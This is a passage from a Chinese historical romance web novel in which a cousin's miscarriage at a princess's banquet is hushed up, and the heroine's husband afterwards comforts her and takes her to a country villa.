宴会上出什么事? 承宁伯夫人,想做什么?是故意的吗? 为何要这么做? 沈瓷思索了好半天,还真让她想到了一个可能,“承宁伯夫人大概想换个儿媳妇。” 她们府上从未满意过这婚事,只是刚刚成亲,他们不好明明白白反悔。 但楚秋灵这样的性子,迟早会惹出麻烦来,等到事情一发不可收拾,她们也有了休妻的理由。 “什么?”楚思怡睁大眼睛,有些惊讶的看着沈瓷,“表姐,你说的是真的?” “承宁伯夫人本就不满她,想要休妻也是人之常情。” 这世上男子活的总比女子容易,承宁伯府只要将这些事全部推到楚秋灵的身上就成,无论是休妻还是和离,承宁伯世子即便成了鳏夫,依旧能够娶妻生子,且还有不少人会她同情他,遇上这样的妻子。 “这…”楚思怡的心里矛盾极了,她讨厌楚秋灵不厌其烦的找麻烦,可当听见她也许会被休弃,心中又有些怪怪的。 “表姐,她真的会被休吗?” “只是有这样的可能…”沈瓷轻声说道。 但这只是她的猜测,她其实觉得楚秋灵今日是故意来激怒她的,像是有什么目的,只是沈瓷尚不明白她的目的是什么。 还是先避开的好。 “那,那…”楚秋灵有些不大舒服,沈瓷问她是怎么了。 “表姐,我很不喜欢她,可她如果真的被休,我怎么心里头那么奇怪?” “我是在难过吗?”楚思怡很不理解,她自认为和楚秋灵没有那么好的感情。 “因为思怡善良。”沈瓷的声音有些淡,楚思怡的确看不惯她,但也从不会去盼着楚秋灵倒霉,或是过得不好。 她只会想着彼此不要有什么交集就好。 但楚秋灵没有这种善良,她只会不停的来找人麻烦。 沈瓷的声音有些淡,“女子本就不易,成亲之后一切都仰仗夫家,夫家不喜也能找各种各样的理由休妻…同为女子只是觉得感慨。” 并不是对楚秋灵有多少的感情。 “其实也不用如此悲观,承宁伯夫人就算有这样的想法,想要实施也没有那么容易。” 休妻也要看忠毅伯府答应不答应,要真的走到那一步,双方还有的掰扯,“大舅舅和大舅母也不会答应的,他们总是想着自己的女儿。” 沈瓷话说的很漂亮,但心中和明镜儿似的,大舅母也许会担心楚秋灵被休之后无法自处,而大舅舅只会考虑自己的利益受不受损。 “罢了罢了,不提她了。”楚思怡气呼呼道,“不管这些,反正都是她的事。” 裴姝和楚秋灵没什么直接关系,这时候也不好说话,只是安静的看着她们。 因为楚秋灵这么一打岔,她们周围也没有什么人,倒是清净不少,公主府府邸占地极广,依山傍水的,风景很是怡人。 她们没再讨论楚秋灵,只说起什么时候去将军府探望楚映梦,“听娘说姐姐的产期在除夕左右,也不知具体哪一日。” “若是生在除夕夜,岂不是要比别的孩子都小一岁?”裴姝忽然想起了这事儿。 但楚思怡也有这别的意见,“那若是生在大年初一,就是比其他孩子都大一岁?” “不过就相差一天,怎么就能差那么多?” 两人开口讨论着,觉得这事儿有意思极了,从孩子的产期到孩子的名字,她们的心思尽数被占据,谁也没有再去注意楚秋灵。 可变故却在这时候发生,秋叶步履匆匆的跑来,声音有些焦急,“少夫人,大姑娘,三姑娘,出事了。” “出什么事了?”沈瓷冷静问道。 “承宁伯府的世子夫人和成安伯府的二少夫人起了冲突,楚少夫人跌了一跤,流了不少的血…像是…像是…”秋叶的话没能说下去,但在场几人都不是什么无知无觉的,自然能猜测到。 “她人如今在何处?” “在公主府的客房,奴婢过来的时候,瞧见主家已经去请大夫。”秋叶看着沈瓷说道。 “成安伯府的二少夫人…她如今在何处?” “被公主府的嬷嬷们带去了别处,奴婢也不知道在什么地方。” “方才可有人看见你?”沈瓷冷静追问,她一直觉得楚秋灵很奇怪,这才命秋叶去盯着,没成想竟遇上了这样的事。 三公主的儿媳妇和李三是亲姐妹,这件事三公主也许会插手。 楚思怡和裴姝两个心中慌乱,也同样看向沈瓷,“表姐/嫂嫂…” “先冷静一些,一会儿公主府的下人也许会来找我们,也许不会,我们要冷静。”沈瓷的心里也乱极了,她不在现场并不知具体情况,但这件事可大可小,也许只有等大夫来了才能知道。 没一会儿就有公主府的侍女来请沈瓷,“沈少夫人,我们公主听闻今日宴会少夫人来了,特意请您过去说说话。” 侍女单单请了沈瓷一个,楚思怡和裴姝明知是什么原因偏偏不能宣之于口,只能继续逛着花园,楚思怡忍不住的让丫鬟先回忠毅伯府给母亲报信。 沈瓷跟在侍女身后,来到了后院的一处厢房,侍女站在一旁,示意沈瓷上前,沈瓷推门而入,瞧见了坐在上首的中年美妇。 “参见三公主殿下。” “起身说话。” 三公主坐在一旁品茶,开门见山的同沈瓷说,她的大表姐今日摔了一跤,这会儿正在里头,让她进去瞧瞧。 内室传来若有若无的呻吟,听着有些瘆人,沈瓷并不想去看。 可三公主已经发话,她又如何能反驳? 只能硬着头皮往里走,只见楚秋灵脸色煞白的躺在床上,大夫给她把了脉,脸色非常的凝重,也没顾得的上沈瓷在跟前,径直对一旁的嬷嬷道:“这位夫人有了身孕,只是这孩子已经…若是不施针将孩子落下,恐会危及生命。” “大夫尽管医治。”嬷嬷的脸上没什么表情,转身走了出去,只留下沈瓷一人在此,沈瓷没得什么吩咐也不敢随意的出去,就见大夫给楚秋灵施了针,几针之后她额头上落下了豆大的汗珠,呻吟越来越大,死死地抓住床单… 楚秋灵大口大口的喘着粗气,痛的五官乱飞,“啊——” 沈瓷的脸色也没有多好,她呆呆的看着,不知过了多久,只见大夫对嬷嬷点了头,嬷嬷会意的上前,只见一团血肉模糊的东西被嬷嬷取了出来。 沈瓷意识到那是什么,脸色愈发的难看。 心突突直跳。 血腥味开始蔓延,若有若无的腥味一直往沈瓷的鼻尖钻…她只觉得头晕乎乎的,亦不知过了多久,外头终于传来了侍女的声音,“少夫人,公主有请。” 虽不合时宜,但沈瓷到底是松了一口气,忙不迭退了出去。 三公主轻巧的刮着杯盖,问沈瓷楚秋灵可还好。 “承蒙公主关心,大表姐她,尚可。” “孩子来的不易,怎么就这般的不小心?”三公主有些悲悯道,“好在她还年轻,孩子很快就会有的。” “公主说的是…”沈瓷后背上全是冷汗,她脑子里飞快的思索着三公主喊她来的真正目的,楚秋灵的孩子到底是怀相不好摔了一跤没有的,还是她知道怀相不好故意找上的李三。沈瓷都不得而知。 若是后者…那楚秋灵原本要找上的人就是她? 然而沈瓷结合先前楚秋灵的古怪,还有大夫说的那些话,大概也能猜测出真相。 “承宁伯少夫人在我府上跌了一跤,本宫这心里也实在是过意不去。”三公主的声音温温柔柔的,但说出来的话却不是那么一回事,“骤然失去孩子,她的心中一定难受极了,本宫听说你们姐妹情深,这才把你喊过来,想你劝一劝她。” 三公主上下嘴皮子一碰,直接开始颠倒黑白。 “…是。”沈瓷轻声答应。 一点儿法子都没有,即便这会儿她说乌鸦是黄鹂,沈瓷还要附和一句这鸟叫的真好听 。 三公主的意思很明白,就要将李三摘得干干净净的,楚秋灵就是摔了一跤导致的小产,无论谁问起,都只是楚秋灵自己不小心。 沈瓷根本就没得选,只能听从。 那孩子到底是怎么回事?也唯有楚秋灵才知道,三公主贴心的将地方留给她和楚秋灵。 大夫出门熬药去了,内室只留下嬷嬷和沈瓷两个。 楚秋灵痛的死去活来,一睁开眼就看见沈瓷,脸色立马变得阴云密布,“你怎么在这里?” “刚才撞我的那个女人呢?”楚秋灵恶狠狠的看着沈瓷,仿佛她才是那个罪魁祸首,“她到哪里去了?让她出来给我道歉,让她赔我孩子的命。” “大表姐,你方才跌了一跤,三公主心善,让嬷嬷扶你来厢房歇一歇。”沈瓷面容平静的和楚秋灵说着话。 楚秋灵皱起眉头,像是没能听懂沈瓷说的话,她挣扎着要起来,沈瓷先一步的将人扶住,打断了她要说出口的话。 “只是大表姐你风寒未愈,一会儿就由妹妹送你一程吧。”沈瓷木着一张脸交代完三公主的吩咐。 楚秋灵气急败坏的瞪着沈瓷,“你在说什么鬼东西?我问你刚才把我撞到的女人在哪里?” “大表姐好好的怎么说起胡话来了?”沈瓷惊讶的看向她,“是不是方才做了噩梦?哪里有什么女人呢?” 沈瓷面无表情的开口,楚秋灵的脸色越来越不对,刚要破口大骂,就看见了站在一旁的老媪。 “你是谁?” 那嬷嬷压根不搭理楚秋灵,走到外头端了一碗药进来,“楚少夫人,请喝药。” 楚秋灵皱起眉头,刚想要拒绝,就见沈瓷将那碗药接了过来,“嬷嬷,我会劝姐姐好好喝药的。” 嬷嬷看了沈瓷一眼,“辛苦沈少夫人。” “沈少夫人好好的劝一劝楚少夫人。”嬷嬷说完这句话就走了出去,屋子里只有沈瓷和楚秋灵两个,她也懒得给楚秋灵喂药,脸色平静道,“大表姐,有些话还是不要开口的好。” 在旁人的地盘上,就学不会夹着尾巴做人吗? “那疯女人撞我!” “三公主的儿媳妇和李三是亲姐妹…”沈瓷低声的提醒道,“大表姐…喝了这碗药,我们离先府吧。” 沈瓷烦躁不已,如今也只能端着一张冷静皮子。 楚秋灵一向喜欢自作聪明,既然要讹人,为何非要挑小路?只有她和李三两个人,又怎么能说得清? 她倒不如在众目睽睽之下嫁祸…直接将脏水泼在李三的身上。 如今倒好,连累她一道被三公主惦记上。 被动极了。 沈瓷想到这里,心中骤然生出不少的怨怼来,不聪明也就罢了,为何要这般犯蠢? * 那碗药半推半就的被灌了下去,楚秋灵素来都是虚张声势的,只会扯着嗓子喊,这招平日里很管用,但这会儿沈瓷的眼神冰冷一片,外头还有跟石头一样的老媪守着。 楚秋灵很识时务,破天荒的没有吵闹。 沈瓷请公主府的侍女找来裴姝和楚思怡,毕竟她一个人也没办法顺顺利利的掩人耳目将楚秋灵带走。 三公主见她这般识趣,倒也乐得做个顺水人情,顺道还夸了夸她,沈瓷半点都不想被夸赞,只一味的低头称是。 裴姝和楚思怡原本担忧不已,又不好表现的太明显,有人找她们说话,她们还得寒暄,着实有些煎熬。 这会儿见有人来寻,立刻就跟了去。 几人将楚秋灵裹得严严实实的,由沈瓷扶着她往外走,楚秋灵十分抗拒,“你要做什么?” “你当我很乐意扶你?”沈瓷冷笑连连,“楚秋灵,我奉劝你不要动什么歪心思。” 几人一步一步的往外走去。 殊不知裴姝和楚思怡前脚刚走没多久,裴珩就来了,公主府的管事立刻迎了上去,细问才知裴珩是来接沈瓷的。 “裴世子稍后,世子夫人不在这处,已经让丫鬟去寻了。”管事的礼貌分寸。 裴珩微微颔首。 没等多久就见沈瓷出现在视线当中。 这时有不少的姑娘开口和他搭话,“裴世子,世子夫人在哪儿呢。” 裴珩依旧温和有礼,只是听见世子夫人这几个字略略沉思了片刻,轻声说了什么。 沈瓷一直扶着楚秋灵走,堪堪走到中庭,就见几个孔武有力的婆子走过来帮忙,“沈少夫人,这边请。” 沈瓷听见这称呼微微一愣,像是有些意外,方才听见这称呼是因为那嬷嬷要区分她和楚秋灵。 可这外院的婆子…怎会这般称呼她? 沈瓷心有疑虑,慢慢的往前走去,她听见旁人的窃窃私语,还以为是楚秋灵太惹人注目,谁知一抬头看见了更惹人注目的人。 “…夫君?你怎么过来了?” 裴珩见着沈瓷后往前走了几步,“嗯,我来接你回去。” 已经过去好几个时辰,也是时候该回去了。 第79章 第79章就只有我和你 裴珩说的随意,沈瓷这才知晓,他来此处没别的事,只是单纯的过来接她。 裴珩瞥见一旁的楚秋灵,忍不住皱了皱眉头,沈瓷见状开口解释,“大表姐染了风寒,身子不适,我要送她一程。” 沈瓷轻声道,心中对楚秋灵的厌烦更甚,若非她这般行为,自己哪里需要这般麻烦? 原本也没怎么想来公主府的宴会。 “无碍,那就送一程。”裴珩没当回事,他只是单纯的想和沈瓷待在一处,至于去哪里也没太大的关系。 丫鬟婆子帮着一起将楚秋灵扶上马车,沈瓷紧随其后,和楚秋灵登上同一辆马车,对着外头吩咐,“去忠毅伯府。” 这马车是承宁伯府上的,里头坐的自家少夫人,可发号施令的却另有其人,车夫有些不敢动,试探的问道,“少夫人…这…” “听她的。”楚秋灵冷冷道。 她倒是要看看,沈瓷要如何解释。 二人一同坐在马车里,楚秋灵等着沈瓷解释,而沈瓷却气定神闲,半点没有要解释的意思。 还是楚秋灵忍不住,“你就没什么话要和我说的吗?” “大表姐不如省些力气,好好歇一歇。” 这辆车里坐着沈瓷和楚秋灵,后头车里坐了裴珩兄妹俩和楚思怡,小厮见沈瓷上了那边马车,很快退了回来,禀告,“世子,少夫人他们要去姑老爷府上。” “一道去。” 裴珩吩咐完便看向两人,问她们发生了何事。 二人纷纷摇头,她们方才被留在原地根本不知原因,“许是和楚秋灵有关系。” “但我们不知三公主和嫂嫂说了什么。” 具体如何她们也不知,实在没有机会问起,一连串的事儿太多了。 因为早先有小厮回府报信,到了忠毅伯府时,楚大夫人已经在外等候,她们刚一下车就有七八个丫鬟上前来簇拥着楚秋灵。 楚大夫人瞧见楚秋灵煞白的脸色心疼得不得了,“这到底是发生什么事了?怎么回事?你怎么和沈瓷在一块儿?这可是和她有关系?” 楚大夫人吵吵嚷嚷的声音毫无保留的落在裴珩耳中,他略略皱眉,尚未来得及说什么。 就听见姑母冷淡的呵斥声,“闭嘴。” 楚大夫人梗着脖子要叫嚣,瞥见裴氏冷漠的眼神,一时间有些气弱,“我们秋灵真真是命苦…” “先进屋。”裴氏没有搭理楚大夫人,命人将楚秋灵送进去。 楚大夫人见状也没再说话,跟着丫鬟去了,裴氏落于人后关切的问沈瓷究竟发生了何事。 “大表姐和李三起了争执摔了一跤,她的孩子没了。”沈瓷说的言简意赅,将自己和三公主的对话悉数告知,裴氏皱了皱眉头,眼中是深深的烦躁。 楚秋灵腹中孩子应当原本就不好,不然就算是摔了一跤也不至于如此。 只是现在孩子没了,承宁伯府知道这消息吗? 承宁伯夫人在其中扮演什么角色? 她今日为何忽然松口让楚秋灵去了公主府?是知晓了这件事要故意使坏?还是为了败坏楚秋灵名声? 承宁伯夫人本就不是善茬,一直心怀鬼胎,还有个蠢不自知且喜欢自作聪明的,实在是… “你且先和裴珩一块儿回府,这些事情就不要操心。”裴氏很是头疼,她嫌楚秋灵多事,但此事总得要找个妥善解决的法子,她少不得要去找大嫂商议。 也不知那人会说出什么难听话来。 沈瓷何必留在这里听这些疯话。 “可是…”沈瓷有些不太放心,裴氏朝着她安抚的笑了笑,“不是什么大事,交给舅母来处理就好。” “她还能对我做什么不成?” “今日在公主府,可有受委屈?”裴氏有些担心的问道。 沈瓷原本只是有些烦闷,可这情绪也全是因为楚秋灵,和旁人毫无关系,被舅母这么一问,烦闷都散了不少。 “三公主不过是不愿牵扯是非,并不是不讲道理的人,大家相安无事,她也不至于揪着不放。”沈瓷低声说道,“何况这件事本就不能拿到明面上来说。” 在人家的府上出这样的事,人家请的大夫,说什么还不容易吗? 何况楚秋灵那孩子,她能问心无愧吗? 裴氏点了点头让沈瓷早些回去 歇着,等到三人离去之后,又问了楚思怡不少话,有些事沈瓷不会说,但楚思怡会说,“她和李三起争执之前来找过我们,还口不择言的说姑姑和姑父是被表姐给克死的。” 楚思怡心中复杂的不得了,虽不至于心疼楚秋灵,可难免唏嘘。 只是她到底不是个蠢人,楚秋灵现今小产,联想到先前的事情,也不怪楚思怡多想。 谁让她这个姐姐,一直以来都不聪明。 “娘,我怀疑她是想嫁祸…” “莫要胡乱揣测,你也早点回去歇着,此事就当不知道,娘会去处理的。”裴氏安抚完楚思怡,才走进楚秋灵未出嫁之前的院子。 楚大夫人忍不住讥讽道:“你还记得来?我还以为你早就忘了。” “大嫂哪里话?方才不过是去请了大夫,让他来给大侄女瞧瞧,总要心里有个底才放心。” 楚大夫人听见这话心里开始毛躁起来,她的神色略微有一些躲闪,但不愿让人看出自己的心虚,很快就硬气起来,“沈瓷那丫头呢?让她过来见我。” “阿瓷已经回家了。”裴氏没理会大嫂的叫嚣,她看着脸色惨白的楚秋灵,一时间也是心绪复杂,“大嫂,不若我们来商量商量,要怎么同承宁伯府交代…” 毕竟小产的还是承宁伯府的血脉… * 回府的路上,马车里安静极了,沈瓷没有说话,裴珩和裴姝自然也没有。 这事儿和她们关系也并不大,多说无益。 裴珩本就不关心楚秋灵如何,只是问了几句沈瓷的情况,见沈瓷没说什么,裴珩也没有多问。 他当真以为沈瓷一切都好。 谁知夜半时分沈瓷竟做起了噩梦来,她睡的很不安稳,梦到了那血肉模糊的团团。 沈瓷从梦中惊醒,浑身都是冷汗。 这动静自然吵醒了裴珩,他自然的问了一句,“怎么了?” “没…没…没事。”沈瓷的声音有些低,隐隐还能听到些许颤音,裴珩没有出声喊人,而是自己下床去点了灯。 只见沈瓷脸色苍白,额上全是密密的汗,眼神中还有些惊恐。 “出什么事了?”裴珩伸出手探了探沈瓷的额头,只觉得她身上有些凉,“今日在公主府还遇见什么事了吗?” 沈瓷抬眸看向裴珩,那双眼睛里满是关切。 她张了张口,像是在犹豫要不要说话… “阿瓷,我们如今是夫妻。”裴珩伸出手想要将她拥在怀里,沈瓷却下意识的想躲。 瞥见裴珩骤变的脸色,沈瓷慌慌张张的解释,“我…我没有别的意思,只是我身上都是汗…” “不妨事。”裴珩没在意这些,伸手将沈瓷圈在怀中,问她到底出了什么事。 沈瓷不知从何说起,裴珩便一点点的问,“和楚秋灵有关?” “三公主威胁你了?” “不是…” “那是出了何事?”裴珩眉头皱的紧紧的,很是担心。 “我去的时候,那胎儿已是不成,我亲眼看见大夫施针将那孩子落了胎…”沈瓷咬了咬唇,很艰难的才将这件事说出来。 那血肉模糊的团团,成了沈瓷的梦魇。 她本以为,不至于会如此,谁知她还是高估了自己。 “是觉得那孩子有些可怜?”裴珩试探开口,沈瓷在他怀中微不可闻的点了点头,幅度不大却还是能让人察觉。 裴珩轻轻的拍了拍沈瓷的背,给她讲了一个故事。 “当年,母亲在怀裴姝的时候也跌了一跤,父亲请了许多大夫上门诊治,检查过后大夫告诉他们,孩子好好的,没有任何事。” “母亲不大相信,非要让太医开安胎药,太医告诉母亲,健康的孩子不需要保胎也能好好的长大…跌一跤要紧,却也没有那么要紧。” “若胎儿本就不好,就算她不摔跤,这孩子也是保不住的。”裴珩的声音有些冷漠,心中很是厌烦,“也许这孩子早就胎死腹中,她本就想着要找人嫁祸,只是她为何会找上李三?她们之间应当并无过节。” “她原本是找上我的…”沈瓷知道自己解释不清楚裴珩会让长鸣去查,与其这般倒不如自己主动说出来。 沈瓷没有说完全,只说了个大概。 裴珩听完,脸上并没有什么太大的表情,心中却想着若将楚秋灵送去佛堂,佛祖会不会怪罪他。 至于那三公主也并不无辜,她不愿牵扯是非,却要沈瓷生生的看着。 他的妻子又做错了什么要承受这一切? “我其实没有什么事,天色不早了,不若早些睡吧。”沈瓷主动开口。 但她的神情却有些恹恹的,裴珩揉了揉她的头发轻声问道,“可要沐浴?” 沈瓷有些心动,神情却有些犹豫,她不太想兴师动众打的。 “无妨,若是平时他们也是要备水的。” 裴珩轻声笑起,沈瓷一开始还没明白,等反应过来后脸红了一片。 她想要将裴珩推开,却被他搂的更紧,“夫人别闹。” 沈瓷咬着唇瓣不想搭理人,裴珩便命值夜的小厮备水,他知沈瓷在顾虑什么,却没有明说。 丫鬟婆子的动作很快,沈瓷取了寝衣去了净室,这一回裴珩罕见的没有闹她。 洗掉身上那些黏腻的汗渍,她觉得舒坦了不少。 等她出来时才发现裴珩还未睡,“夫君怎么还没歇息?” “嗯。”裴珩拉着沈瓷的手顺势将他拽到床上,紧紧的拥着她,“我在等你。” “嗯?” “我有些担心你。”裴珩在沈瓷的面前并不怎么会隐藏自己的想法,“明早请个大夫来瞧瞧可好?” “不用了。”沈瓷想也没想的拒绝,“就只是做了个噩梦,许是今日被吓着了,不用请大夫的。” “原本大夫就是要来请平安脉的,不过是早几日。”裴珩和她商议着这些事,说了不少心里话,“就当是为了让我安心可好?” “这…” “夫人,我很担心你。”裴珩的声音很轻,听着有些温和,让沈瓷都有些意外。 在裴珩不住的劝说之下,沈瓷终于松口答应下来。 “那我们早些休息。”裴珩将人紧紧的搂在怀中,沈瓷其实有些不大习惯,却没有多说什么,在裴珩怀里轻轻的闭上眼睛。 她本以为自己会睡不着,没想到一夜无梦。 却不知裴珩一夜未眠,他一直观察着沈瓷的神情,想着若是她再梦魇,就连夜去请大夫。 好在安稳无事。 沈瓷翌日醒来时,天色已经打量,裴珩更是早早的起身处理事务,听见动静才走近内室,“你醒了?” “夫君。”沈瓷低低的喊了一声,瞥见一旁的刻漏才惊觉睡过头了,“你怎么没早些喊我,还要去正院给母亲请安。” “别着急,母亲今日带裴姝出门去了,不在府上。” “出门了?”沈瓷有些疑惑的看过去,心说并未听婆婆和裴姝提起过,但这疑惑也没有持续多久,婆母要带小姑子出门本也不需要同她报备什么。 “去姑姑府上,两人有事要商议,带上裴姝是为了掩人耳目。”裴珩也没瞒着,将事情原原本本的告诉沈瓷。 沈瓷低低的应了一声,没再多说什么,原本着急的情绪也渐渐消散。 等到沈瓷换好衣裳,厨房已经将朝食送来,多是沈瓷爱吃的。 “一会儿用完朝食,就让大夫看看。” 这是他们昨日就商议好的,沈瓷当然不会反对,只是她没想到大夫竟一大早就来了。 “嗯。”沈瓷软软的应声。 大夫过来给沈瓷把脉,开了些安神的汤药。 裴珩命丫鬟将大夫送走后,又吩咐秋叶冬竹给沈瓷收拾东西。 惹得沈瓷莫名其妙,“收拾东西做什么?” “陛下给了我不少的假,我们去庄子上住几日可好?”裴珩浅浅笑起,在沈瓷尚未开口拒绝时,又抛下了新的诱饵,“不远处还有温泉。” “不带别人,就我们俩。” “这…”沈瓷愈发的惊讶 ,尚未想好要怎么办。 “就当是陪陪我。”裴珩的声音愈发低了,眼睛里满是期待,“我想和娘子一道去。” 沈瓷看着裴珩说不出任何拒绝的话,轻轻的点了点头,“好。” 她说完之后,心中也隐隐的多了期待。 第80章 第80章他们两个光明正大的跑出去玩…… 秋叶冬竹的动作都很快,很快就收拾好了行李,裴珩带着沈瓷一起坐上马车,毫不犹豫的往城外去了。 沈瓷心中着实有一些担心,“夫君可有和公公婆婆请示?” “夫人放心。” 裴珩让沈瓷放宽心,这些事情他早早的就处理好,从前他一个人要去哪里也不需要同父母请示,但如今成了亲,少不得要考虑许多事。 今早裴珩让人去请大夫的时候撞上了母亲,他当时便和母亲提及要带沈瓷去庄子上住几日。 母亲听闻沈瓷在公主府遇到的事情也很是心疼,“那你带她出去散散心也好,也省的遇到这些乌七八糟的事。” 沈瓷听了之后,才放下心来。 永宁侯府的庄子沈瓷曾经去过一回,只是那次是和表哥他们一起来的,此番却只有他们俩。 马车的速度不算太慢,很快就到了别院。 庄子上常年有人在,长鸣一早就派人送消息过去,等他们到的时候别院的管家已经将屋子里里外外的打扫干净。 沈瓷的衣裳和首饰全部都被放到了裴珩的屋子里。 沈瓷看着这一幕,心里头有些奇怪,但似乎只有她一个人觉得奇怪,每个人的态度都很坦然,她就将这些奇怪的想法全部都藏了起来。 地方还是同样的地方,却不知是不是因为只有他们两个人的缘故,沈瓷总觉得地方都变得空旷起来。 时辰尚早,裴珩留下丫鬟们收拾,带着沈瓷在整个别院转了转。 “先前来的时候,都没有这般仔细的看过。”沈瓷有些感慨的开口。 “那时候想来你也没有什么心思去看。”裴珩牵着沈瓷的手,走过了许多的地方,最后来到了自己的书房。 里头时常有人来打扫,干净整洁。 书架上还有不少的书籍。 “这些似乎有些年头了。”沈瓷环顾四周轻声说道。 “这些都是我幼时用的。” 沈瓷轻轻的点了头,疑惑道,“你带我来这里做什么?” “想起在此处还有不少有趣的书籍,想找来给你瞧瞧。”裴珩让沈瓷坐在书桌边上,自己则是去一旁的书架子上翻找起来。 书房虽然时常有人来打扫,但毕竟时间太久远,裴珩也要好好的找一找才知在什么地方。 沈瓷有些无聊的打量着书桌上的东西,在永宁侯府里,沈瓷也没有去过裴珩的书房,亦不知道他书房是什么模样。 可瞧着面前的,她多少能够想象一二。 书桌上还摆着一本书册,沈瓷问了裴珩一声能不能看。 待裴珩回应了之后,她就将这书册翻开看了看,这是一本灵异神怪类的书籍,沈瓷觉得挺有意思,竟不知不觉将这书看完了。 没有多少内容,却浅显易懂。 沈瓷想要合上书的时候,瞥见了一旁的批注。 笔迹还有一些稚嫩:不可全信。 沈瓷又忍不住的往前面翻了翻,才发现上头都是一些批注。 无法考究真假、夸大其词。 沈瓷:“……” 她全信了。 所以,她夫君小时候就不信的东西,她到这会儿还会被带偏? 沈瓷想到这一点之后整个人多少有些不大好。 “看完了?”裴珩的声音在耳边响起,沈瓷不动声色的合上书,默默的点了头。 “夫君方才在找什么?”沈瓷适时的转移话题。 “找一些遗留的书籍。”裴珩拿出来的都是一些趣闻怪谈,在裴世子眼中大多都是夸张至极的书籍,他并不怎么喜欢,但是他知道,沈瓷喜欢这些。 便将这些全部找了出来。 “上头也有批注吗?”沈瓷莫名问了一句。 裴珩一时间没听明白,有些疑惑的看向她,眼中还带着一些茫然,和平时的他很不一样,模样都变得温和起来。 沈瓷差点儿都要被蛊惑住。 “没什么。”沈瓷岔开话题,接过那些书籍认真的翻看起来,这些书籍被保存的很好,上头的字迹清晰可见。 只不过这些书上都没有裴珩的批注。 “夫君小时候看的吗?”沈瓷有些好奇的问道。 “桌上那本看过,这一些都不曾看过。”裴珩随意的回答,沈瓷大概明白这些书上为什么没有批注,若是裴珩看过,这上头指不定又要写些什么呢。 “夫君把这些找出来做什么?” “没有看过,想找出来和你一起看。”裴世子的想法非常的简单,甚至都显得有一些稚气,偏偏他说的那么认真,沈瓷都找不到拒绝的理由。 迷迷糊糊的答应下来。 书桌前的椅子很宽大,裴珩倒也没有舍近求远,二人挤在一张椅子上翻开了书。 沈瓷有时候当真觉得,裴珩有些过于不讲究。 尤其是在自己的面前。 她明明记得先前不是这般的,到底是什么时候变了模样? 是因为成了亲吗? “你在想什么?是觉得这不好看?要不我们换一本。”裴珩认真的开始思考起来,沈瓷回过神来立刻摇了摇头。 “我只是在想,是不是多一张椅子更合适。”沈瓷一时不察,将心里话说了出来。 裴珩却伸出手环过她的腰,“用不着多一张椅子,我觉得这样正好。” 因为这样的动作,他们俩之间的距离愈发近了,沈瓷都能感受到他温热的呼吸。 脖子上痒痒的,她忍不住的瑟缩着。 “娘子,看书的时候要认真。”裴珩说的认真,见沈瓷还在发呆,忍不住的点了点她的鼻尖。 沈瓷:“……” 是她不认真吗?还不是因为他没事非要和自己挤在一起。 沈瓷多少有些不服气,“我幼时念书,夫子时常夸我认真。” “是吗?”裴珩有些好奇的问道,“夫子是怎么夸你的?” 沈瓷没想到裴珩会问的这般仔细,夫子是怎么夸她的?夫子怎么可能夸她? 在她小的时候,不知气走了多少夫子。 “嗯…嗯…就是…就是…”沈瓷说不出个所以然来,开始专心致志的看向面前书籍,“我们还是看书吧。” “这鹿蜀是个什么东西?” “是出现在岭南一带,长得和马很像的一种神兽。”裴珩解释的言简意赅,三言两语就说的清清楚楚,他甚至还介绍起这神兽的模样和寓意。 听见多子多孙的时候,沈瓷忍不住的问道,“是真的吗?” “不知。”裴世子实诚的有些过分,“毕竟也没人见过真的鹿蜀。” “大抵是一些美好的寓意。” 沈瓷:“……” 后面这一句,补得为何这般生硬? 沈瓷默默的点了头,书籍翻了一页又一页,她已经不会再问是真的还是假的,因为裴珩总是有理有据的解释,也许是因为当地有什么风俗,所以才会有这样的神话留下。 沈瓷听了觉得有意思极了,只是听着听着她就忍不住的看向裴珩。 “这般看着我做什么?” “从前的夫子不教这些。”沈瓷轻声说道。 “夫子原本也不会教这些,多是书上看的。”裴珩理所当然的语气,拉回了沈瓷的思绪,她默默的看了裴珩一眼,也没问什么自讨没趣的话。 干巴巴的夸赞了一句,“夫君博学。” 沈瓷自己并未觉得有什么问题,可裴珩却听出了不少的情绪,他将沈瓷搂的更紧,缓缓的靠在沈瓷的肩上,冲着她小巧圆润的耳朵缓缓吹了一口气,“自然,我可是陛下钦点的新科状元。” 孩子气的举动让沈瓷意外的睁大了眼睛。 她知道这是事实,可为什么有人能够平平淡淡的将这件事说出来? 这得多打击人? “是…是…夫君最是厉害。”这话敷衍的愈发过了,若说裴珩一开始只是想逗沈瓷开心,那这会儿就是要同妻子证明了。 沈瓷从来只知道裴珩优秀,但却不知他可以优秀成这般,当一切都在自己面前具体呈现的时候,沈瓷的脸上浮现出不少的忧郁。 裴珩原本就觉得沈瓷有些奇怪,如今一看更是如此,他也停下了自卖自夸的羞耻行径,珍重其实的看向她,“怎么了?可是觉得这书不好看?” 沈瓷摇了摇头。 “原本不过想着找出来给你解闷,若是不稀罕便不看了。”裴珩只是知晓沈瓷喜欢才会想着带她过来。 “没有不喜欢。”沈瓷的声音有些轻,她就是发现自己的行为有些奇怪,“就是…就是…” 沈瓷觉得有些尴尬,又觉得自己有些矫情,一些话当着裴珩的面都不怎么说得出口。 偏偏他耐心十足,一直猜测。 猜到后来愈发离谱,沈瓷没法子才将原因说出来。 不就是丈夫太优秀,她有些受挫。 沈瓷默默的看了他一眼,“我幼时不爱念书。” 她没解释的太明白,说完之后又觉得自己矫情,这情绪来的有些莫名其妙,尤其是先前还说自己小时候也很认真。 这般前后矛盾,沈瓷都不敢去看裴珩的脸色。 “我幼时也不爱念书。”裴珩随手将书一合扔在了一旁,小孩子又有几个喜欢念书的? “祖父的脾气不大好,若是不好好念书,可是会打手板的。” “嗯?”沈瓷奇怪的看过去,像是没料到还会有这一出,“不应该是隔代亲吗?” “隔代亲是有,但该教训的时候也不会手软。”提前已经过世的祖父,裴珩的眼中倒是多了些怀念。 但记忆中最多的还是藤条,祖父对他很严厉。 “夫人何必妄自菲薄,即便这些不是夫子会教的,也并非人人都能记得住,方才我说起的时候,你不是还补充了几句?” 那都是先前他给沈瓷的那些游记里头的传说。 裴珩好好的哄着她,可越是如此,沈瓷就愈发觉得自己莫名其妙,忍不住开口辩解,“我没有妄自菲薄。” “嗯。”裴珩轻声应下,瞧了瞧时辰,问她下午想去做什么。 “还有些书没有看完。”沈瓷小声的说道,她其实很愿意听裴珩说话。 “好。”裴珩毫不犹豫的答应下来。 恰好这时正院摆好了饭,长鸣请他们俩过去,裴珩便牵着沈瓷的手往外走。 裴珩一向喜欢牵着她,在府上时就是如此,只是在人前多少有些顾忌,省的传到母亲耳朵里多出些事端来。 